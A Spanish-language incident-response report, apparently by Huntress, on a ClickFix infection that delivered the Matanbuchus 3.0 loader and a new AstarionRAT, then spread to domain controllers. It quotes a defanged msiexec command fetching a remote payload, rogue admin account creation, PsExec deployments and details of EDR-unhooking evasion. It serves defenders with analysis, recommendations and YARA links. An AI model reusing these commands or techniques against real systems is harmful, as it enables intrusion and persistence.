Agradecimientos: Un agradecimiento especial a Amelia Casley por sus contribuciones a esta investigación

Contexto 

En febrero de 2026, el equipo de Respuesta Táctica de Huntress y el SOC respondieron a una intrusión manual que comenzó con una infección ClickFix, la técnica de ingeniería social que simplemente no desaparece. ClickFix se convirtió en uno de los métodos de acceso inicial más frecuentes en 2025, adoptado tanto por cibercriminales como por actores estatales. La técnica engaña a las víctimas para que copien y peguen comandos maliciosos en sus propios sistemas, convirtiendo efectivamente a los usuarios en el mecanismo de entrega y evitando por completo los controles de seguridad tradicionales basados en correo electrónico.

La infección ClickFix entregó Matanbuchus 3.0, un loader premium de Malware-as-a-Service (MaaS) que se vende en foros cibercriminales de habla rusa desde que fue anunciado por primera vez por un actor de amenazas conocido como “BelialDemon” en febrero de 2021. Originalmente se alquilaba por $2.500 al mes, la versión 3.0 representa una reescritura completa del código base y tiene un precio significativamente más alto: $10.000 al mes para la variante HTTPS y $15.000 al mes para una versión más sigilosa basada en DNS. Ese precio es aproximadamente de 3 a 5 veces lo que cuesta un loader típico de nivel medio, lo que refleja su enfoque en operaciones dirigidas de alto valor en lugar de campañas masivas. A lo largo de los años, Matanbuchus se ha usado para entregar una variedad de payloads posteriores, incluidos Cobalt Strike, QakBot, DanaBot, el stealer Rhadamanthys y NetSupport RAT.

Evaluamos con confianza media que el objetivo final de esta intrusión era el despliegue de ransomware o la exfiltración de datos, basándonos en el manual de operaciones del operador: movimiento lateral rápido hacia controladores de dominio, creación de cuentas no autorizadas y preparación de exclusiones en Defender, lo cual refleja de cerca los patrones observados en operaciones previas a ataques de ransomware. En nuestro caso, el operador fue interrumpido durante el movimiento lateral antes de alcanzar algún objetivo final.

Matanbuchus tomó una breve pausa alrededor de mayo de 2025 antes de regresar, y el análisis público existente de la versión 3.0 se ha centrado en el funcionamiento interno del propio loader: su ofuscación, protocolo de comunicación y conjunto de comandos. Lo que no se ha documentado hasta ahora es qué sucede después de que Matanbuchus hace su trabajo. En la intrusión a la que respondimos, Matanbuchus entregó un RAT que nunca habíamos visto antes, un implante personalizado y completo que hemos llamado AstarionRAT. Con 24 comandos, tráfico de C2 cifrado con RSA disfrazado de telemetría de aplicaciones, un proxy SOCKS5, robo de credenciales, carga reflexiva de código y capacidades de escaneo de puertos,

Lo que siguió al despliegue del RAT fue una intrusión que avanzó rápido: el operador regresó al día siguiente, se movió lateralmente por la red en 40 minutos, alcanzando un Windows Server y dos controladores de dominio, usando PsExec, creación de cuentas no autorizadas y exclusiones de Defender.

Cronología de la intrusión

Puntos clave

• ClickFix + Matanbuchus 3.0 es una combinación activa: Matanbuchus está de vuelta tras una breve pausa en mayo de 2025, ahora entregado mediante indicaciones de ingeniería social de ClickFix usando instalaciones silenciosas de MSI
• La cadena de ejecución tiene múltiples capas: desde la indicación inicial de ClickFix hasta el payload final de AstarionRAT, el ataque pasa por una instalación silenciosa de MSI, sideloading de DLL de Zillya Antivirus, Matanbuchus 3.0 con cifrado ChaCha20, una segunda etapa de sideloading de DLL mediante java.exe/jli.dll, un intérprete Lua 5.4.7 incorporado, un cargador PE reflexivo personalizado y finalmente el propio RAT
• AstarionRAT es un RAT nuevo y completo con 24 comandos, incluidos robo de credenciales, proxy SOCKS5, escaneo de puertos, carga reflexiva de código y ejecución de shell, con comunicación C2 cifrada con RSA disfrazada de telemetría de aplicaciones
• La actividad manual del operador se movió rápido: desde el primer salto lateral hasta apuntar a ambos controladores de dominio en menos de 40 minutos
• Se abusó de herramientas legítimas en todo el proceso: binarios de Zillya Antivirus para el sideloading, PsExec para el movimiento lateral, 7-Zip renombrado para la extracción de archivos, y C:\ProgramData\USOShared\ como directorio de preparación para mezclarse con las rutas legítimas de Windows Update

Paso uno: engañar al humano

El ataque comienza con una indicación de ClickFix que instruye a la víctima a ejecutar el siguiente comando:

• "C:\WINDOWS\system32\mSiexeC.EXe" -PaCkAGe hxxp:\\binclloudapp[.]com\temp\..\ValidationID\..\466943 /q

Varias cosas destacan aquí. El uso de mayúsculas y minúsculas mezcladas en mSiexeC.EXe es una técnica clásica para evadir reglas de detección simples basadas en coincidencia de cadenas. El indicador /q ejecuta la instalación de forma silenciosa, la víctima no ve ninguna interfaz. La URL aprovecha barras invertidas y secuencias de recorrido de rutas que finalmente colapsan, dando como resultado una obtención directa de hxxp://binclloudapp[.]com/466943. Esta ofuscación agrega una capa de confusión en los registros y proxies que podrían no normalizar la ruta.

El dominio binclloudapp[.]com es un dominio registrado recientemente (creado el 5 de febrero de 2026), y resuelve a 192.121.23[.]146, una IP alojada por M247 Europe SRL (AS 9009) en Alemania. Cabe destacar que la misma IP también aloja sectigoapps[.]com y solidclouaps[.]com. Los tres dominios siguen un patrón de suplantación de marca, tomando fragmentos de nombres de marcas reconocibles de seguridad y de cloud y combinándolos en nombres de servicios que suenan plausibles pero son fabricados.

A partir de numerosos instaladores MSI, observamos archivos instalados bajo las siguientes rutas de productos de seguridad falsos:

• %APPDATA%\AegisLynx Cybernetics Ltd\AegisLynx Threat Fabric\AVU\
• %APPDATA%\DocuRay Technologies S.r.l\DocuRay PDF Professional\ZAVY\
• %APPDATA%\HelixShield Technologies ApS\HelixShield Adaptive Security\APS\ZAV\

El MSI deja caer múltiples archivos, entre ellos:

• aps.exe - una copia renombrada de 7-Zip, utilizada para extraer un archivo protegido con contraseña (TMP412.7z con contraseña 4122102026) que contiene el paquete de sideloading de Zillya
• core.exe (originalmente AVCore.exe) - binario legítimo del motor principal de Zillya! Antivirus
• msvcp120.dll, msvcr120.dll - DLL legítimas del runtime de Visual C++
• SystemStatus.dll - DLL maliciosa (Matanbuchus 3.0)
• ZscLib.dll - una biblioteca legítima del escáner de Zillya! Antivirus
• INFO - shellcode cifrado de Matanbuchus

Matanbuchus 3.0, un demonio disfrazado

SystemStatus.dll no es más que el infame componente cargador de Matanbuchus 3.0. Matanbuchus 3.0 regresó tras una breve pausa en mayo de 2025, con una base de código completamente reescrita, según su desarrollador. Anunciado en foros clandestinos a $10.000 al mes por la versión HTTPS y $15.000 por la versión DNS, Matanbuchus 3.0 presume de un cliente y panel nuevos construidos desde cero, soporte para ejecutar payloads EXE/DLL/Shellcode/MSI tanto desde disco como en memoria, capacidades de reverse shell vía CMD/PS, ejecución de consultas WQL, captura de capturas de pantalla de alta calidad, un motor de transformación (morphing) para mantener compilaciones limpias sin crypters, y soporte para una amplia variedad de formatos de entrega, incluyendo MSI/EXE/DLL/ISO/BIN.

Figura 1: Anuncio de Matanbuchus 3.0

Existe un excelente análisis sobre Matanbuchus de Zscaler, así que no repetiremos los fundamentos aquí. Antes de llegar a lo interesante, vale la pena mencionar que el cargador de Matanbuchus está muy relleno de código basura, como llamadas a API sin sentido, bucles muertos y ramas condicionales falsas que inflan el binario y ralentizan el análisis manual. Por ejemplo, la función principal (LoadSystemStatus) llama a GetCursorPos, IsIconic, GetDesktopWindow, GetACP y GetCPInfo sin ninguna razón funcional. Los bucles ocupados largos (que iteran cientos o miles de veces sin ninguna operación útil) también actúan como evasión de sandbox, al consumir tiempo de ejecución más allá de las ventanas típicas de tiempo de espera de un sandbox.

Figura 2: Llamadas a API basura

Figura 3: Una vista general en forma de grafo de la DLL de Matanbuchus, que muestra la densa red de rutas de flujo de control inflada por código basura, bucles muertos y ramas condicionales falsas a lo largo del binario

Se descifraron más de 70 cadenas del binario. La siguiente lista incluye nombres de DLL para la resolución dinámica de API, cadenas de User-Agent, consultas WQL, rutas de registro, cadenas de formato y nombres de procesos de EDR utilizados para la detección de productos de seguridad:

El cargador usa nombres de procesos de EDR para enumerar los procesos en ejecución y dar un informe sobre qué productos de seguridad están presentes en la víctima, probablemente para orientar la elección del operador sobre el método de ejecución de las siguientes cargas útiles.

Descifrado de cadenas con ChaCha20

Todas las cadenas sensibles del cargador están cifradas en un solo bloque. Los primeros 44 bytes de este bloque sirven como la clave compartida de ChaCha20 (32 bytes) y el nonce (12 bytes). Un arreglo de índice independiente almacena pares [offset, tamaño] que hacen referencia a cadenas cifradas individuales dentro del bloque. Para descifrar una cadena, el cargador lee el offset y el tamaño del arreglo de índice, extrae los bytes correspondientes del bloque cifrado (después del encabezado de 44 bytes) y los descifra con ChaCha20 usando la clave y el nonce compartidos.

Figura 4: La función de descifrado de cadenas lee la clave y el nonce de ChaCha20 de los primeros 44 bytes del bloque cifrado, y luego usa el arreglo de índice de cadenas (izquierda) para ubicar y descifrar cadenas individuales según su offset y tamaño.

Descifrado del shellcode mediante recuperación de clave por fuerza bruta

El cargador lee un bloque de shellcode cifrado desde un archivo llamado INFO ubicado en el mismo directorio que el ejecutable. Este archivo se entrega como parte del paquete MSI/ZIP; no está incrustado en la DLL en sí. El cargador valida que el archivo mida exactamente 8.624 bytes antes de continuar.

Para descifrar el shellcode, Matanbuchus aplica fuerza bruta a su propio cifrado ChaCha20 usando una verificación de texto plano conocido. La clave de 32 bytes se construye convirtiendo un contador numérico en una cadena ASCII de 8 bytes y agregando un sufijo fijo de 24 bytes. El contador comienza en 99999999 y se reduce en cada intento fallido. El nonce se obtiene aplicando XOR a 12 bytes fijos con 0x5A, lo que produce 01 02 03 04 05 06 07 08 09 10 11 12. Después de cada intento de descifrado, se comparan los primeros 21 bytes con el prólogo esperado de un shellcode de Heaven's Gate. Si coinciden, se ha encontrado la clave correcta:

Este es el prólogo de un shellcode de Heaven's Gate, una técnica que hace la transición de código de 32 bits a modo de ejecución de 64 bits mediante un retorno lejano al segmento de código 0x33, evitando la capa normal de WoW64. Esto permite que el shellcode ejecute llamadas al sistema de 64 bits directamente, algo que se usa comúnmente para evadir los hooks de EDR en los stubs de ntdll de 32 bits. Si la comparación falla, el contador se reduce y el proceso se repite hasta encontrar la clave correcta.

El shellcode descifrado: extracción de la URL de C2

Una vez descifrado, el shellcode de 8.624 bytes se copia a memoria RWX y se ejecuta. El propósito del shellcode es descargar el módulo principal de Matanbuchus desde una URL de C2 fija.

El shellcode construye sus cadenas carácter por carácter usando secuencias de PUSH imm8 / POP EAX / STOSW, una técnica clásica contra la extracción de cadenas. Cada carácter se empuja como un valor de byte inmediato

La URL de C2 construida a partir del shellcode descifrado:

• hxxps://marle[.]io/check/updprofile.aspx

El shellcode también resuelve ntdll.dll y kernel32.dll para su resolución de API, y luego usa las API de WinINet para emitir una solicitud HTTPS GET a la URL de C2 y descargar el módulo principal de Matanbuchus.

La respuesta del servidor C2 también está cifrada con ChaCha20. Según el protocolo, si los primeros 4 bytes del payload descargado son iguales a 0xDEADBEEF, el payload se escribe en el disco. La estructura restante es la siguiente:

El descifrado se realiza en bloques de 0x2000 bytes (8 KB) con un estado de contador ChaCha20 incremental, el mismo patrón de descifrado por bloques usado en todas las capas del cargador Matanbuchus.

Matanbuchus dice: "Traje a un amigo".

Ahora seguramente te preguntas si Matanbuchus realmente demostró su capacidad como cargador y entregó un payload. Así fue, y hay más capas por descubrir.

El cargador dejó en el disco un paquete de sideloading de DLL de segunda etapa en C:\Users\username\AppData\Local\Temp\ndvyxgdriggmarrf\, una copia legítima de java.exe junto con un jli.dll malicioso y un script de Lua cifrado llamado SySUpd. Cuando java.exe se ejecuta, carga de forma natural jli.dll, que normalmente es la biblioteca Java Launch Interface, lo que activa el código malicioso.

¿Un intérprete de Lua incorporado, dices?

Ofuscación con código basura

Cada operación significativa en la DLL está enterrada bajo capas de código basura aritmético. Tres constantes globales almacenadas en la sección .data alimentan predicados opacos repetidos cientos de veces a lo largo del binario. Estas expresiones siempre dan el mismo resultado según las constantes fijas (1, 8, 9), lo que las convierte en código muerto. Su único propósito es inflar el binario y confundir a los descompiladores, convirtiendo lo que deberían ser unas pocas docenas de líneas de lógica en miles.

Figura 5: Ofuscación con código basura en jli.dll, expresiones aritméticas que usan constantes fijas y siempre dan el mismo resultado, inflando unas pocas líneas de lógica real en miles de líneas de código muerto.

Evasión de hooking mediante KnownDlls

Antes de realizar cualquier llamada sensible a la API, el cargador desengancha tanto kernel32.dll como ntdll.dll. Muchos productos EDR monitorean la actividad maliciosa colocando hooks en línea en funciones críticas de la API, pequeños parches al inicio de funciones como NtAllocateVirtualMemory que redirigen la ejecución al propio código de inspección del EDR. Para evadir esto, el cargador de la DLL maliciosa reemplaza las secciones .text de las DLL en proceso con copias limpias y sin hooking, obtenidas del directorio de objetos \KnownDlls\ de Windows. Las rutas se construyen carácter por carácter para evitar la detección basada en cadenas. El directorio \KnownDlls\ es una sección del administrador de objetos de Windows que contiene copias precargadas y en caché de las DLL del sistema de uso común. Como estas secciones son mapeadas directamente desde los binarios en disco por el kernel durante el arranque, se garantiza que estén limpias, sin ninguna alteración por hooking en modo usuario. El cargador abre la sección limpia con NtOpenSection() y la mapea en el proceso con NtMapViewOfSection(). Luego recorre los encabezados de sección del PE mapeado buscando .text, marca temporalmente la sección .text de la DLL cargada (con hooking) como escribible con VirtualProtect(PAGE_EXECUTE_READWRITE), la sobrescribe con los bytes limpios y restaura la protección de memoria original. Después de ejecutar esto, cualquier hook en línea que los productos EDR hayan colocado en kernel32.dll y ntdll.dll desaparece, y el cargador ahora tiene acceso limpio y sin monitoreo a la API de Windows para todo lo que sigue.

Intérprete Lua 5.4.7 embebido

Con el acceso limpio a la API ya establecido, el cargador inicializa un intérprete Lua 5.4.7 embebido completo. El bucle de despacho de bytecode es una función de 13.600 bytes que contiene una instrucción switch con 82 opcodes.

Figura 6: Vista de grafo en IDA del intérprete de bytecode Lua 5.4.7, mostrando el switch de despacho de opcodes con 82 casos

El wrapper de VirtualAlloc resuelve el nombre de la API de forma dinámica usando un cifrado simple de desplazamiento de caracteres; cada byte de la cadena ofuscada se decrementa en 3.

La cadena ofuscada "YluwxdoDoorf" se decodifica en tiempo de ejecución restando 3 a cada byte para obtener "VirtualAlloc"

Carga del script Lua cifrado

El cargador se localiza a sí mismo en el disco usando GetModuleHandleExW con la bandera GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, obtiene su ruta de archivo mediante GetModuleFileNameA, elimina el nombre del archivo y construye la ruta hacia un archivo complementario llamado SySUpd. El contenido del archivo SySUpd se descifra luego usando un XOR rotativo con la clave de 10 bytes #5CW6jvMuW.

El script de Lua descifrado se carga en el intérprete usando luaL_loadbuffer, que compila el texto del script en bytecode de Lua, y luego se ejecuta con lua_pcall, que ejecuta el bytecode compilado. El script luego llama a luaalloc, luacpy y luaexe -  tres funciones personalizadas que el autor del malware escribió y registró en el intérprete (abreviaturas de "lua allocate", "lua copy" y "lua execute")  para asignar memoria RWX, copiar el shellcode en ella y saltar a ella mediante una llamada a un puntero de función sin formato.

SysUpd no significa "System Update"

El SysUpd descifrado contiene lo siguiente:

Después del descifrado, el script de Lua es sencillo; su único propósito es decodificar y ejecutar un shellcode incrustado. Define un decodificador base64 personalizado usando un alfabeto no estándar (ZXEFGHIlbcJKLMABCDNOPTUVWzyxajk345defghYimnQRSopqrstuvw0126789+/). El script luego decodifica aproximadamente 202 KB de datos codificados en ~151 KB de shellcode x64 sin formato, asigna una región de memoria ejecutable, copia el shellcode en ella y salta a ella.

Más shellcode… ¿cuándo va a terminar?!

Los 151 KB de shellcode decodificado son un cargador PE reflexivo independiente de la posición. Solo los primeros 3 KB son código ejecutable; los ~148 KB restantes son datos de payload que contienen dos etapas incrustadas en un formato binario personalizado.

El punto de entrada comienza recorriendo el Process Environment Block para ubicar ntdll.dll y resolver cuatro funciones de API nativas por hash usando el siguiente algoritmo de cálculo de resúmenes criptográficos (hash rotativo multiplicado por 131):

Estas son las únicas cuatro API que el shellcode resuelve directamente; todo lo demás es manejado después por los payloads incrustados:

Figura 8: El punto de entrada del shellcode resolviendo cuatro API de ntdll por hash mediante el recorrido del PEB

Shellcode etapa 1: cargador PE reflexivo

Después de resolver las API, el cargador PE reflexivo del shellcode lee un encabezado de 5 bytes de los datos del payload incrustado, un campo de tamaño de 4 bytes y una marca de reubicación, y comienza a reconstruir la DLL de la etapa 1 en memoria.

La DLL de la etapa 1 no se almacena como un archivo PE estándar. En cambio, se ha desensamblado en componentes individuales y empaquetado en un flujo binario personalizado, un formato que el autor del shellcode diseñó específicamente para este cargador. El flujo contiene:

• Un byte de marca (0x02)
• Cuatro DWORD de metadatos: alineación de sección, RVA del punto de entrada y dos valores de control del cargador
• Siete bloques de datos, cada uno con un prefijo de tamaño de 4 bytes: la sección .text (8.466 bytes de código ejecutable), la tabla de reubicación cifrada y los descriptores de importación, y las claves XOR usadas para descifrarlos

Figura 9: El payload incrustado: la DLL de la etapa 1 empaquetada en un flujo binario personalizado que contiene la sección .text, las tablas de importación/reubicación cifradas y las claves XOR

El cargador reflexivo procesa el flujo paso a paso. Asigna memoria con NtAllocateVirtualMemory, mapea las secciones PE en la región asignada, luego descifra con XOR los datos de importación y reubicación usando claves incrustadas junto a ellos en el flujo.

Figura 10: Cada byte del búfer de destino se somete a una operación XOR con una clave rotatoria (key[i % key_len]), que se usa para descifrar los datos de importación y reubicación antes de procesarlos

Con los datos descifrados, el cargador aplica reubicaciones base, resuelve las importaciones mediante el cálculo de resúmenes criptográficos de los nombres de exportación de las DLL cargadas, y aplica parches a la IAT (Import Address Table) con los punteros de función resueltos. Luego establece la protección de memoria con NtProtectVirtualMemory y llama al punto de entrada de la DLL reconstruida de la etapa 1, pasándole un puntero al payload de la etapa 2 (~137 KB) y su tamaño.

Shellcode etapa 2: Descompresión del payload final

La etapa 1 reconstruida es una DLL pequeña de ~8,5 KB sin tabla de importación. Todo el acceso a la API se enruta a través de una función de despacho interna basada en hashes, usando el mismo algoritmo de cálculo de resúmenes criptográficos de multiplicación por 131 descrito anteriormente.

DllEntryPoint recibe el puntero a los datos de la etapa 2 y su tamaño desde el shellcode. Descifra el encabezado del payload mediante una operación XOR con el mismo algoritmo de clave rotatoria visto a lo largo de la cadena, y luego valida los datos descifrados en busca de las firmas MZ (0x5A4D) y PE (0x4550).

La función principal llama a RtlDecompressBuffer con compresión LZNT1 para descomprimir el payload final. La salida descomprimida comienza con un campo de nombre de 12 bytes (Beacon.exe, rellenado con ceros) y un campo de 4 bytes con el tamaño del PE, seguido del PE sin procesar.

La etapa 1 analiza los encabezados del PE, mapea sus secciones en memoria asignada, resuelve las importaciones y crea un nuevo hilo para ejecutarlo.

AstarionRAT

Configuración de C2 

AstarionRAT guarda su configuración de C2 en la sección .data. El C2 (www.ndibstersoft[.]com) está cifrado con RC4 y codificado en hexadecimal; la función de descifrado decodifica la cadena hexadecimal y luego la descifra con RC4 usando una clave fija de 110 bytes.

Perfil de comunicación HTTP

Las plantillas de solicitudes HTTP de AstarionRAT se guardan codificadas en hexadecimal en la sección .data y se decodifican en tiempo de ejecución. La solicitud GET apunta a /intake/organizations/events?channel=app, imitando telemetría legítima de aplicación. La cadena User-Agent suplanta a una versión antigua del navegador Edge (Edge/18.19045) con Accept-Language: zh-CN,zh;q=0.9 y un referer de Google, mientras que los datos del beacon se incrustan en un encabezado de cookie entre valores estáticos: AFUAK=1C5DEC09609A6B41; BLA=<beacon_data>; HFK=423b5828bc98f5c7c57e6c321.

Beacon de metadatos

En el primer registro de conexión, AstarionRAT construye un paquete de metadatos que comienza con un marcador mágico 0xBEEF seguido de un campo de longitud. Genera 16 bytes aleatorios y los escribe en el paquete, luego les aplica un hash SHA-256 para derivar una clave de sesión que se guarda por separado para usarse en una sesión de comunicación futura. El paquete incluye luego las páginas de códigos ANSI y OEM del sistema, un ID de beacon aleatorio y par (entre 100000 y 999998), el PID actual, un campo de dos bytes en cero, y un indicador de privilegios (0x0E para administrador, 0x06 para usuario estándar) determinado al verificar la pertenencia al grupo Administradores (S-1-5-32-544) mediante AllocateAndInitializeSid y CheckTokenMembership. A esto le sigue la versión del sistema operativo (mayor, menor, número de compilación), 12 bytes de relleno, la dirección IP local obtenida mediante WSAIoctl, y una cadena delimitada por tabulaciones con el nombre del equipo, el nombre de usuario y el nombre del archivo de proceso (COMPUTER\tUSER\tprocess.exe):

El paquete completo está cifrado con RSA usando una clave pública codificada de forma fija de 1024 bits, dividido en fragmentos de 117 bytes antes de la transmisión.

El beacon sigue un ciclo de sondeo estándar con un intervalo de 10 segundos. Arma y cifra con RSA el paquete de metadatos, lo envía mediante HTTP GET, analiza la respuesta como tuplas en orden de bytes de red [command_id][size][data], despacha cada tarea a través del despachador de comandos, y envía los resultados de vuelta mediante HTTP POST. Si falla, se reconecta y reintenta después de esperar.

Despachador de comandos

AstarionRAT admite 24 comandos despachados mediante una instrucción switch. El conjunto de comandos cubre operaciones de archivos, gestión de procesos, robo de credenciales y suplantación, ejecución de shell con captura de salida, un proxy SOCKS5, escaneo de puertos de red y un cargador de código reflexivo capaz de ejecutar cargas útiles arbitrarias proporcionadas por el operador, todo en memoria:

Figura 11: Fragmento de la instrucción switch del despachador de comandos que maneja los comandos

Proxy SOCKS5

La implementación de SOCKS5 es la función más grande del binario, con 4.161 bytes. Todo el tráfico del proxy está ofuscado con XOR usando 0x10, aplicando instrucciones SIMD para operaciones masivas en bloques de 64 bytes. El proxy admite comandos CONNECT con resolución tanto de IPv4 como de nombre de dominio, y se autentica con credenciales proporcionadas por el C2.

Ahora que se analizaron las cargas útiles, pasemos a la actividad práctica.

Las cosas se pusieron un poco intensas

Con AstarionRAT activo en el endpoint inicial, el operador estableció persistencia mediante una tarea programada llamada Application Maintenance, configurada para ejecutar Core.exe desde C:\ProgramData\2895e798a2579e6\.

Aproximadamente 17 horas después, el operador regresó y usó el RAT para iniciar el servicio Application Management:

• cmd.exe /c sc start AppMgmt >nul 2>nul

Esto dio inicio a la fase práctica con el teclado. El operador realizó de inmediato un reconocimiento del dominio a través del despachador de comandos del RAT:

• net groups "Domain Admins" /domain
• nltest /dclist:

El operador alojó sus herramientas en la cabeza de playa bajo C:\ProgramData\USOShared\, un directorio comúnmente abusado por los actores de amenazas porque imita la carpeta legítima de Windows Update USOShared. Desde ahí, el operador aprovechó una cuenta de servicio comprometida para iniciar una sesión RDP hacia un Windows Server en la red. A los pocos minutos de ingresar, se ejecutó un script por lotes:

• C:\programdata\usoshared\rdp.bat

Lamentablemente, el contenido de los scripts por lotes no se pudo recuperar. Sin embargo, según la telemetría de procesos, el script probablemente automatizó la creación de una cuenta de administrador local fraudulenta. Se capturaron los siguientes comandos:

• net user DefaultService AiRPcp47_r00t /add
• net localgroup Administradores DefaultService /add

El uso de Administradores (el equivalente en español de Administrators) fue un detalle curioso; la organización objetivo no está ubicada en un país de habla hispana. El operador intentó primero con el nombre de grupo localizado en español, seguido de la versión en inglés aproximadamente 10 minutos después.

Luego, el operador se autenticó mediante RDP usando la cuenta DefaultService recién creada, estableciendo acceso interactivo independiente de las credenciales comprometidas originales.

Poco después, el operador usó PsExec desde el beachhead para distribuir simultáneamente herramientas tanto al Windows Server como a un controlador de dominio de respaldo:

• psexec.exe -accepteula -s -d \\<windows_server> c:\programdata\usoshared\rdp.bat
• psexec.exe -accepteula -s -d \\<windows_server> c:\programdata\usoshared\rdp1.bat
• psexec.exe -accepteula -s -d \\<windows_server> c:\programdata\usoshared\java.exe
• psexec.exe -accepteula -s -d \\<backup_dc> c:\programdata\usoshared\rdp.bat
• psexec.exe -accepteula -s -d \\<backup_dc> c:\programdata\usoshared\java.exe

En cada equipo, el operador repitió el mismo plan de ataque: crear la cuenta fraudulenta, agregarla al grupo local de Administradores, e instalar AstarionRAT mediante el paquete de carga lateral de DLL java.exe.

En cada equipo, el operador creó la cuenta fraudulenta DefaultService y la agregó al grupo local de Administradores. El operador también intentó instalar AstarionRAT mediante el paquete de carga lateral de DLL java.exe en ambos objetivos. Sin embargo, Defender puso en cuarentena jli.dll en ambos equipos antes de que la carga lateral pudiera tener éxito. En el Windows Server, el operador sí configuró una exclusión de Defender para C:\ProgramData\USOShared\, pero aproximadamente 15 minutos después de que Defender ya había detectado y puesto en cuarentena el archivo.

A pesar de los intentos fallidos de instalación del RAT, el operador todavía tenía la cuenta fraudulenta DefaultService y acceso RDP activo en ambos equipos. Desde el controlador de dominio de respaldo, el operador usó PsExec para pivotar hacia un controlador de dominio principal, pero el intento no tuvo éxito:

• PsExec.exe -accepteula -s -u <compromised_account> \\<target_dc> c:\programdata\1.bat
• PsExec.exe -accepteula -s -u <compromised_account> \\<target_dc> cmd

Recomendación

• Capacita a los usuarios para reconocer indicaciones que les piden copiar y pegar comandos, y asegúrate de que comprendan los riesgos de ejecutar comandos desconocidos mediante cuadros de diálogo Ejecutar o terminales
• Usa la Directiva de grupo para deshabilitar el cuadro de diálogo Ejecutar (Win + R) y elimina la opción Ejecutar del menú Inicio mediante User Configuration > Administrative Templates > Start Menu and Taskbar
• Configura Windows Terminal para advertir a los usuarios cuando el texto pegado contenga varias líneas, añadiendo un obstáculo antes de ejecutar comandos de varias líneas
• Supervisa la creación de cuentas no autorizadas: genera alertas ante comandos net user y net localgroup que agreguen cuentas desconocidas, especialmente cuando se ejecutan mediante PsExec o servicios remotos
• Supervisa el uso de PsExec: marca la ejecución de PsExec desde rutas no estándar como C:\ProgramData\USOShared\

Detección

Yara

AstarionRAT

https://github.com/RussianPanda95/Yara-Rules/blob/main/AstarionRAT/win_mal_AstarionRAT.yar

Componente del cargador Matanbuchus 3.0

https://github.com/RussianPanda95/Yara-Rules/blob/main/Matanbuchus/win_mal_Matanbuchus_loader.yar

Indicadores de compromiso (IOC)